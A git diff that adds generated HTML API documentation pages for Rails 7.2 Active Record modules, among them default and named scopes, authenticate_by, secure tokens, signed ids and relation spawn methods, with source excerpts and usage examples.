The info hash is optional, and if given is used to define metadata about the current schema (currently, only the schema’s version):

+ +
ActiveRecord::Schema[7.0].define(version: 2038_01_19_000001) do
+  ...
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/schema.rb, line 49
+        def define(info = {}, &block)
+          new.define(info, &block)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Scoping.html b/src/7.2/classes/ActiveRecord/Scoping.html new file mode 100644 index 0000000000..acee068968 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Scoping.html @@ -0,0 +1,103 @@ +--- +title: ActiveRecord::Scoping +layout: default +--- +
+ +
+
+ +
+ +

Active Record Named Scopes

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Scoping/Default.html b/src/7.2/classes/ActiveRecord/Scoping/Default.html new file mode 100644 index 0000000000..058bd1e452 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Scoping/Default.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Scoping::Default +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Scoping/Default/ClassMethods.html b/src/7.2/classes/ActiveRecord/Scoping/Default/ClassMethods.html new file mode 100644 index 0000000000..dcc7fffbca --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Scoping/Default/ClassMethods.html @@ -0,0 +1,275 @@ +--- +title: ActiveRecord::Scoping::Default::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_scopes?(all_queries: false) + +

+ + +
+

Checks if the model has any default scopes. If all_queries is set to true, the method will check if there are any default_scopes for the model where all_queries is true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/default.rb, line 62
+        def default_scopes?(all_queries: false)
+          if all_queries
+            self.default_scopes.any?(&:all_queries)
+          else
+            self.default_scopes.any?
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unscoped(&block) + +

+ + +
+

Returns a scope for the model without the previously set scopes.

+ +
class Post < ActiveRecord::Base
+  belongs_to :user
+
+  def self.default_scope
+    where(published: true)
+  end
+end
+
+class User < ActiveRecord::Base
+  has_many :posts
+end
+
+Post.all                                  # Fires "SELECT * FROM posts WHERE published = true"
+Post.unscoped.all                         # Fires "SELECT * FROM posts"
+Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
+User.find(1).posts                        # Fires "SELECT * FROM posts WHERE published = true AND posts.user_id = 1"
+User.find(1).posts.unscoped               # Fires "SELECT * FROM posts"
+
+ +

This method also accepts a block. All queries inside the block will not use the previously set scopes.

+ +
Post.unscoped {
+  Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
+}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/default.rb, line 50
+        def unscoped(&block)
+          block_given? ? relation.scoping(&block) : relation
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + default_scope(scope = nil, all_queries: nil, &block) + +

+ + +
+

Use this macro in your model to set a default scope for all operations on the model.

+ +
class Article < ActiveRecord::Base
+  default_scope { where(published: true) }
+end
+
+Article.all
+# SELECT * FROM articles WHERE published = true
+
+ +

The default_scope is also applied while creating/building a record. It is not applied while updating or deleting a record.

+ +
Article.new.published    # => true
+Article.create.published # => true
+
+ +

To apply a default_scope when updating or deleting a record, add all_queries: true:

+ +
class Article < ActiveRecord::Base
+  default_scope -> { where(blog_id: 1) }, all_queries: true
+end
+
+ +

Applying a default scope to all queries will ensure that records are always queried by the additional conditions. Note that only where clauses apply, as it does not make sense to add order to queries that return a single object by primary key.

+ +
Article.find(1).destroy
+# DELETE ... FROM `articles` where ID = 1 AND blog_id = 1;
+
+ +

(You can also pass any object which responds to call to the default_scope macro, and it will be called when building the default scope.)

+ +

If you use multiple default_scope declarations in your model then they will be merged together:

+ +
class Article < ActiveRecord::Base
+  default_scope { where(published: true) }
+  default_scope { where(rating: 'G') }
+end
+
+Article.all
+# SELECT * FROM articles WHERE published = true AND rating = 'G'
+
+ +

This is also the case with inheritance and module includes where the parent or module defines a default_scope and the child or including class defines a second one.

+ +

If you need to do more complex things with a default scope, you can alternatively define it as a class method:

+ +
class Article < ActiveRecord::Base
+  def self.default_scope
+    # Should return a scope, you can call 'super' here etc.
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/default.rb, line 129
+          def default_scope(scope = nil, all_queries: nil, &block) # :doc:
+            scope = block if block_given?
+
+            if scope.is_a?(Relation) || !scope.respond_to?(:call)
+              raise ArgumentError,
+                "Support for calling #default_scope without a block is removed. For example instead " \
+                "of `default_scope where(color: 'red')`, please use " \
+                "`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
+                "self.default_scope.)"
+            end
+
+            default_scope = DefaultScope.new(scope, all_queries)
+
+            self.default_scopes += [default_scope]
+          end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Scoping/Named.html b/src/7.2/classes/ActiveRecord/Scoping/Named.html new file mode 100644 index 0000000000..f3b8383838 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Scoping/Named.html @@ -0,0 +1,67 @@ +--- +title: ActiveRecord::Scoping::Named +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Scoping/Named/ClassMethods.html b/src/7.2/classes/ActiveRecord/Scoping/Named/ClassMethods.html new file mode 100644 index 0000000000..2ac5b1824a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Scoping/Named/ClassMethods.html @@ -0,0 +1,308 @@ +--- +title: ActiveRecord::Scoping::Named::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + all(all_queries: nil) + +

+ + +
+

Returns an ActiveRecord::Relation scope object.

+ +
posts = Post.all
+posts.size # Fires "select count(*) from  posts" and returns the count
+posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
+
+fruits = Fruit.all
+fruits = fruits.where(color: 'red') if options[:red_only]
+fruits = fruits.limit(10) if limited?
+
+ +

You can define a scope that applies to all finders using default_scope.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/named.rb, line 22
+        def all(all_queries: nil)
+          scope = current_scope
+
+          if scope
+            if self == scope.klass
+              scope.clone
+            else
+              relation.merge!(scope)
+            end
+          else
+            default_scoped(all_queries: all_queries)
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_scoped(scope = relation, all_queries: nil) + +

+ + +
+

Returns a scope for the model with default scopes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/named.rb, line 45
+        def default_scoped(scope = relation, all_queries: nil)
+          build_default_scope(scope, all_queries: all_queries) || scope
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + scope(name, body, &block) + +

+ + +
+

Adds a class method for retrieving and querying objects. The method is intended to return an ActiveRecord::Relation object, which is composable with other scopes. If it returns nil or false, an all scope is returned instead.

+ +

A scope represents a narrowing of a database query, such as where(color: :red).select('shirts.*').includes(:washing_instructions).

+ +
class Shirt < ActiveRecord::Base
+  scope :red, -> { where(color: 'red') }
+  scope :dry_clean_only, -> { joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true) }
+end
+
+ +

The above calls to scope define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, in effect, represents the query Shirt.where(color: 'red').

+ +

Note that this is simply β€˜syntactic sugar’ for defining an actual class method:

+ +
class Shirt < ActiveRecord::Base
+  def self.red
+    where(color: 'red')
+  end
+end
+
+ +

Unlike Shirt.find(...), however, the object returned by Shirt.red is not an Array but an ActiveRecord::Relation, which is composable with other scopes; it resembles the association object constructed by a has_many declaration. For instance, you can invoke Shirt.red.first, Shirt.red.count, Shirt.red.where(size: 'small'). Also, just as with the association objects, named scopes act like an Array, implementing Enumerable; Shirt.red.each(&block), Shirt.red.first, and Shirt.red.inject(memo, &block) all behave as if Shirt.red really was an array.

+ +

These named scopes are composable. For instance, Shirt.red.dry_clean_only will produce all shirts that are both red and dry clean only. Nested finds and calculations also work with these compositions: Shirt.red.dry_clean_only.count returns the number of garments for which these criteria obtain. Similarly with Shirt.red.dry_clean_only.average(:thread_count).

+ +

All scopes are available as class methods on the ActiveRecord::Base descendant upon which the scopes were defined. But they are also available to has_many associations. If,

+ +
class Person < ActiveRecord::Base
+  has_many :shirts
+end
+
+ +

then elton.shirts.red.dry_clean_only will return all of Elton’s red, dry clean only shirts.

+ +

Named scopes can also have extensions, just as with has_many declarations:

+ +
class Shirt < ActiveRecord::Base
+  scope :red, -> { where(color: 'red') } do
+    def dom_id
+      'red_shirts'
+    end
+  end
+end
+
+ +

Scopes can also be used while creating/building a record.

+ +
class Article < ActiveRecord::Base
+  scope :published, -> { where(published: true) }
+end
+
+Article.published.new.published    # => true
+Article.published.create.published # => true
+
+ +

Class methods on your model are automatically available on scopes. Assuming the following setup:

+ +
class Article < ActiveRecord::Base
+  scope :published, -> { where(published: true) }
+  scope :featured, -> { where(featured: true) }
+
+  def self.latest_article
+    order('published_at desc').first
+  end
+
+  def self.titles
+    pluck(:title)
+  end
+end
+
+ +

We are able to call the methods like this:

+ +
Article.published.featured.latest_article
+Article.featured.titles
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/scoping/named.rb, line 154
+        def scope(name, body, &block)
+          unless body.respond_to?(:call)
+            raise ArgumentError, "The scope body needs to be callable."
+          end
+
+          if dangerous_class_method?(name)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but Active Record already defined " \
+              "a class method with the same name."
+          end
+
+          if method_defined_within?(name, Relation)
+            raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+              "on the model \"#{self.name}\", but ActiveRecord::Relation already defined " \
+              "an instance method with the same name."
+          end
+
+          extension = Module.new(&block) if block
+
+          if body.respond_to?(:to_proc)
+            singleton_class.define_method(name) do |*args|
+              scope = all._exec_scope(*args, &body)
+              scope = scope.extending(extension) if extension
+              scope
+            end
+          else
+            singleton_class.define_method(name) do |*args|
+              scope = body.call(*args) || all
+              scope = scope.extending(extension) if extension
+              scope
+            end
+          end
+          singleton_class.send(:ruby2_keywords, name)
+
+          generate_relation_method(name)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SecurePassword.html b/src/7.2/classes/ActiveRecord/SecurePassword.html new file mode 100644 index 0000000000..55641f3e2e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SecurePassword.html @@ -0,0 +1,81 @@ +--- +title: ActiveRecord::SecurePassword +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SecurePassword/ClassMethods.html b/src/7.2/classes/ActiveRecord/SecurePassword/ClassMethods.html new file mode 100644 index 0000000000..026f2841f4 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SecurePassword/ClassMethods.html @@ -0,0 +1,138 @@ +--- +title: ActiveRecord::SecurePassword::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + authenticate_by(attributes) + +

+ + +
+

Given a set of attributes, finds a record using the non-password attributes, and then authenticates that record using the password attributes. Returns the record if authentication succeeds; otherwise, returns nil.

+ +

Regardless of whether a record is found, authenticate_by will cryptographically digest the given password attributes. This behavior helps mitigate timing-based enumeration attacks, wherein an attacker can determine if a passworded record exists even without knowing the password.

+ +

Raises an ArgumentError if the set of attributes doesn’t contain at least one password and one non-password attribute.

+ +

Examples

+ +
class User < ActiveRecord::Base
+  has_secure_password
+end
+
+User.create(name: "John Doe", email: "jdoe@example.com", password: "abc123")
+
+User.authenticate_by(email: "jdoe@example.com", password: "abc123").name # => "John Doe" (in 373.4ms)
+User.authenticate_by(email: "jdoe@example.com", password: "wrong")       # => nil (in 373.9ms)
+User.authenticate_by(email: "wrong@example.com", password: "abc123")     # => nil (in 373.6ms)
+
+User.authenticate_by(email: "jdoe@example.com", password: nil) # => nil (no queries executed)
+User.authenticate_by(email: "jdoe@example.com", password: "")  # => nil (no queries executed)
+
+User.authenticate_by(email: "jdoe@example.com") # => ArgumentError
+User.authenticate_by(password: "abc123")        # => ArgumentError
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/secure_password.rb, line 41
+      def authenticate_by(attributes)
+        passwords, identifiers = attributes.to_h.partition do |name, value|
+          !has_attribute?(name) && has_attribute?("#{name}_digest")
+        end.map(&:to_h)
+
+        raise ArgumentError, "One or more password arguments are required" if passwords.empty?
+        raise ArgumentError, "One or more finder arguments are required" if identifiers.empty?
+
+        return if passwords.any? { |name, value| value.nil? || value.empty? }
+
+        if record = find_by(identifiers)
+          record if passwords.count { |name, value| record.public_send(:"authenticate_#{name}", value) } == passwords.size
+        else
+          new(passwords)
+          nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SecureToken.html b/src/7.2/classes/ActiveRecord/SecureToken.html new file mode 100644 index 0000000000..85ee17dd95 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SecureToken.html @@ -0,0 +1,87 @@ +--- +title: ActiveRecord::SecureToken +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + +
MINIMUM_TOKEN_LENGTH=24
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SecureToken/ClassMethods.html b/src/7.2/classes/ActiveRecord/SecureToken/ClassMethods.html new file mode 100644 index 0000000000..a699f87cd3 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SecureToken/ClassMethods.html @@ -0,0 +1,178 @@ +--- +title: ActiveRecord::SecureToken::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/secure_token.rb, line 61
+      def generate_unique_secure_token(length: MINIMUM_TOKEN_LENGTH)
+        SecureRandom.base58(length)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_secure_token(attribute = :token, length: MINIMUM_TOKEN_LENGTH, on: ActiveRecord.generate_secure_token_on) + +

+ + +
+

Example using has_secure_token

+ +
# Schema: User(token:string, auth_token:string)
+class User < ActiveRecord::Base
+  has_secure_token
+  has_secure_token :auth_token, length: 36
+end
+
+user = User.new
+user.save
+user.token # => "pX27zsMN2ViQKta1bGfLmVJE"
+user.auth_token # => "tU9bLuZseefXQ4yQxQo8wjtBvsAfPc78os6R"
+user.regenerate_token # => true
+user.regenerate_auth_token # => true
+
+ +

SecureRandom::base58 is used to generate at minimum a 24-character unique token, so collisions are highly unlikely.

+ +

Note that it’s still possible to generate a race condition in the database in the same way that validates_uniqueness_of can. You’re encouraged to add a unique index in the database to deal with this even more unlikely scenario.

+ +

Options

+
:length +
+

Length of the Secure Random, with a minimum of 24 characters. It will default to 24.

+
:on +
+

The callback when the value is generated. When called with on: :initialize, the value is generated in an after_initialize callback, otherwise the value will be used in a before_ callback. When not specified, :on will use the value of config.active_record.generate_secure_token_on, which defaults to :initialize starting in Rails 7.1.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/secure_token.rb, line 46
+      def has_secure_token(attribute = :token, length: MINIMUM_TOKEN_LENGTH, on: ActiveRecord.generate_secure_token_on)
+        if length < MINIMUM_TOKEN_LENGTH
+          raise MinimumLengthError, "Token requires a minimum length of #{MINIMUM_TOKEN_LENGTH} characters."
+        end
+
+        # Load securerandom only when has_secure_token is used.
+        require "active_support/core_ext/securerandom"
+        define_method("regenerate_#{attribute}") { update! attribute => self.class.generate_unique_secure_token(length: length) }
+        set_callback on, on == :initialize ? :after : :before do
+          if new_record? && !query_attribute(attribute)
+            send("#{attribute}=", self.class.generate_unique_secure_token(length: length))
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SecureToken/MinimumLengthError.html b/src/7.2/classes/ActiveRecord/SecureToken/MinimumLengthError.html new file mode 100644 index 0000000000..a6dbc3bf1f --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SecureToken/MinimumLengthError.html @@ -0,0 +1,60 @@ +--- +title: ActiveRecord::SecureToken::MinimumLengthError +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Serialization.html b/src/7.2/classes/ActiveRecord/Serialization.html new file mode 100644 index 0000000000..b22808f4cb --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Serialization.html @@ -0,0 +1,128 @@ +--- +title: ActiveRecord::Serialization +layout: default +--- +
+ +
+
+ +
+ +

Active Record Serialization

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + serializable_hash(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/serialization.rb, line 13
+    def serializable_hash(options = nil)
+      if self.class._has_attribute?(self.class.inheritance_column)
+        options = options ? options.dup : {}
+
+        options[:except] = Array(options[:except]).map(&:to_s)
+        options[:except] |= Array(self.class.inheritance_column)
+      end
+
+      super(options)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SerializationFailure.html b/src/7.2/classes/ActiveRecord/SerializationFailure.html new file mode 100644 index 0000000000..d77943baea --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SerializationFailure.html @@ -0,0 +1,68 @@ +--- +title: ActiveRecord::SerializationFailure +layout: default +--- +
+ +
+
+ +
+ +

SerializationFailure will be raised when a transaction is rolled back by the database due to a serialization failure.

+ +

This is a subclass of TransactionRollbackError, please make sure to check its documentation to be aware of its caveats.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SerializationTypeMismatch.html b/src/7.2/classes/ActiveRecord/SerializationTypeMismatch.html new file mode 100644 index 0000000000..970fbb4b0b --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SerializationTypeMismatch.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::SerializationTypeMismatch +layout: default +--- +
+ +
+
+ +
+ +

Raised when unserialized object’s type mismatches one specified for serializable field.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SignedId.html b/src/7.2/classes/ActiveRecord/SignedId.html new file mode 100644 index 0000000000..6ea68e329d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SignedId.html @@ -0,0 +1,176 @@ +--- +title: ActiveRecord::SignedId +layout: default +--- +
+ +
+
+ +
+ +

Active Record Signed Id

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + signed_id_verifier_secret + +

+ + +
+

Set the secret used for the signed id verifier instance when using Active Record outside of Rails. Within Rails, this is automatically set using the Rails application key generator.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 13
+      class_attribute :signed_id_verifier_secret, instance_writer: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + signed_id(expires_in: nil, expires_at: nil, purpose: nil) + +

+ + +
+

Returns a signed id that’s generated using a preconfigured ActiveSupport::MessageVerifier instance.

+ +

This signed id is tamper proof, so it’s safe to send in an email or otherwise share with the outside world. However, as with any message signed with a ActiveSupport::MessageVerifier, the signed id is not encrypted. It’s just encoded and protected against tampering.

+ +

This means that the ID can be decoded by anyone; however, if tampered with (so to point to a different ID), the cryptographic signature will no longer match, and the signed id will be considered invalid and return nil when passed to find_signed (or raise with find_signed!).

+ +

It can furthermore be set to expire (the default is not to expire), and scoped down with a specific purpose. If the expiration date has been exceeded before find_signed is called, the id won’t find the designated record. If a purpose is set, this too must match.

+ +

If you accidentally let a signed id out in the wild that you wish to retract sooner than its expiration date (or maybe you forgot to set an expiration date while meaning to!), you can use the purpose to essentially version the signed_id, like so:

+ +
user.signed_id purpose: :v2
+
+ +

And you then change your find_signed calls to require this new purpose. Any old signed ids that were not created with the purpose will no longer find the record.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 131
+    def signed_id(expires_in: nil, expires_at: nil, purpose: nil)
+      raise ArgumentError, "Cannot get a signed_id for a new record" if new_record?
+
+      self.class.signed_id_verifier.generate id, expires_in: expires_in, expires_at: expires_at, purpose: self.class.combine_signed_id_purposes(purpose)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SignedId/ClassMethods.html b/src/7.2/classes/ActiveRecord/SignedId/ClassMethods.html new file mode 100644 index 0000000000..c9f47e174a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SignedId/ClassMethods.html @@ -0,0 +1,259 @@ +--- +title: ActiveRecord::SignedId::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + find_signed(signed_id, purpose: nil) + +

+ + +
+

Lets you find a record based on a signed id that’s safe to put into the world without risk of tampering. This is particularly useful for things like password reset or email verification, where you want the bearer of the signed id to be able to interact with the underlying record, but usually only within a certain time period.

+ +

You set the time period that the signed id is valid for during generation, using the instance method signed_id(expires_in: 15.minutes). If the time has elapsed before a signed find is attempted, the signed id will no longer be valid, and nil is returned.

+ +

It’s possible to further restrict the use of a signed id with a purpose. This helps when you have a general base model, like a User, which might have signed ids for several things, like password reset or email verification. The purpose that was set during generation must match the purpose set when finding. If there’s a mismatch, nil is again returned.

+ +

Examples

+ +
signed_id = User.first.signed_id expires_in: 15.minutes, purpose: :password_reset
+
+User.find_signed signed_id # => nil, since the purpose does not match
+
+travel 16.minutes
+User.find_signed signed_id, purpose: :password_reset # => nil, since the signed id has expired
+
+travel_back
+User.find_signed signed_id, purpose: :password_reset # => User.first
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 52
+      def find_signed(signed_id, purpose: nil)
+        raise UnknownPrimaryKey.new(self) if primary_key.nil?
+
+        if id = signed_id_verifier.verified(signed_id, purpose: combine_signed_id_purposes(purpose))
+          find_by primary_key => id
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_signed!(signed_id, purpose: nil) + +

+ + +
+

Works like find_signed, but will raise an ActiveSupport::MessageVerifier::InvalidSignature exception if the signed_id has either expired, has a purpose mismatch, is for another record, or has been tampered with. It will also raise an ActiveRecord::RecordNotFound exception if the valid signed id can’t find a record.

+ +

Examples

+ +
User.find_signed! "bad data" # => ActiveSupport::MessageVerifier::InvalidSignature
+
+signed_id = User.first.signed_id
+User.first.destroy
+User.find_signed! signed_id # => ActiveRecord::RecordNotFound
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 72
+      def find_signed!(signed_id, purpose: nil)
+        if id = signed_id_verifier.verify(signed_id, purpose: combine_signed_id_purposes(purpose))
+          find(id)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed_id_verifier() + +

+ + +
+

The verifier instance that all signed ids are generated and verified from. By default, it’ll be initialized with the class-level signed_id_verifier_secret, which within Rails comes from the Rails.application.key_generator. By default, it’s SHA256 for the digest and JSON for the serialization.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 81
+      def signed_id_verifier
+        @signed_id_verifier ||= begin
+          secret = signed_id_verifier_secret
+          secret = secret.call if secret.respond_to?(:call)
+
+          if secret.nil?
+            raise ArgumentError, "You must set ActiveRecord::Base.signed_id_verifier_secret to use signed ids"
+          else
+            ActiveSupport::MessageVerifier.new secret, digest: "SHA256", serializer: JSON, url_safe: true
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + signed_id_verifier=(verifier) + +

+ + +
+

Allows you to pass in a custom verifier used for the signed ids. This also allows you to use different verifiers for different classes. This is also helpful if you need to rotate keys, as you can prepare your custom verifier for that in advance. See ActiveSupport::MessageVerifier for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/signed_id.rb, line 97
+      def signed_id_verifier=(verifier)
+        @signed_id_verifier = verifier
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SoleRecordExceeded.html b/src/7.2/classes/ActiveRecord/SoleRecordExceeded.html new file mode 100644 index 0000000000..d80ad62daf --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SoleRecordExceeded.html @@ -0,0 +1,128 @@ +--- +title: ActiveRecord::SoleRecordExceeded +layout: default +--- +
+ +
+
+ +
+ +

Raised when Active Record finds multiple records but only expected one.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + record
+ + + + +

Class Public methods

+ +
+

+ + new(record = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 182
+    def initialize(record = nil)
+      @record = record
+      super "Wanted only one #{record&.name || "record"}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/SpawnMethods.html b/src/7.2/classes/ActiveRecord/SpawnMethods.html new file mode 100644 index 0000000000..9428153638 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/SpawnMethods.html @@ -0,0 +1,212 @@ +--- +title: ActiveRecord::SpawnMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + except(*skips) + +

+ + +
+

Removes from the query the condition(s) specified in skips.

+ +
Post.order('id asc').except(:order)                  # discards the order condition
+Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/spawn_methods.rb, line 59
+    def except(*skips)
+      relation_with values.except(*skips)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge(other, *rest) + +

+ + +
+

Merges in the conditions from other, if other is an ActiveRecord::Relation. Returns an array representing the intersection of the resulting records with other, if other is an array.

+ +
Post.where(published: true).joins(:comments).merge( Comment.where(spam: false) )
+# Performs a single join query with both where conditions.
+
+recent_posts = Post.order('created_at DESC').first(5)
+Post.where(published: true).merge(recent_posts)
+# Returns the intersection of all published posts with the 5 most recently created posts.
+# (This is just an example. You'd probably want to do this with a single query!)
+
+ +

Procs will be evaluated by merge:

+ +
Post.where(published: true).merge(-> { joins(:comments) })
+# => Post.where(published: true).joins(:comments)
+
+ +

This is mainly intended for sharing common conditions between multiple associations.

+ +

For conditions that exist in both relations, those from other will take precedence. To find the intersection of two relations, use QueryMethods#and.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/spawn_methods.rb, line 33
+    def merge(other, *rest)
+      if other.is_a?(Array)
+        records & other
+      elsif other
+        spawn.merge!(other, *rest)
+      else
+        raise ArgumentError, "invalid argument: #{other.inspect}."
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + only(*onlies) + +

+ + +
+

Removes any condition from the query other than the one(s) specified in onlies.

+ +
Post.order('id asc').only(:where)         # discards the order condition
+Post.order('id asc').only(:where, :order) # uses the specified order
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/spawn_methods.rb, line 67
+    def only(*onlies)
+      relation_with values.slice(*onlies)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/StaleObjectError.html b/src/7.2/classes/ActiveRecord/StaleObjectError.html new file mode 100644 index 0000000000..c6efb23424 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/StaleObjectError.html @@ -0,0 +1,143 @@ +--- +title: ActiveRecord::StaleObjectError +layout: default +--- +
+ +
+
+ +
+ +

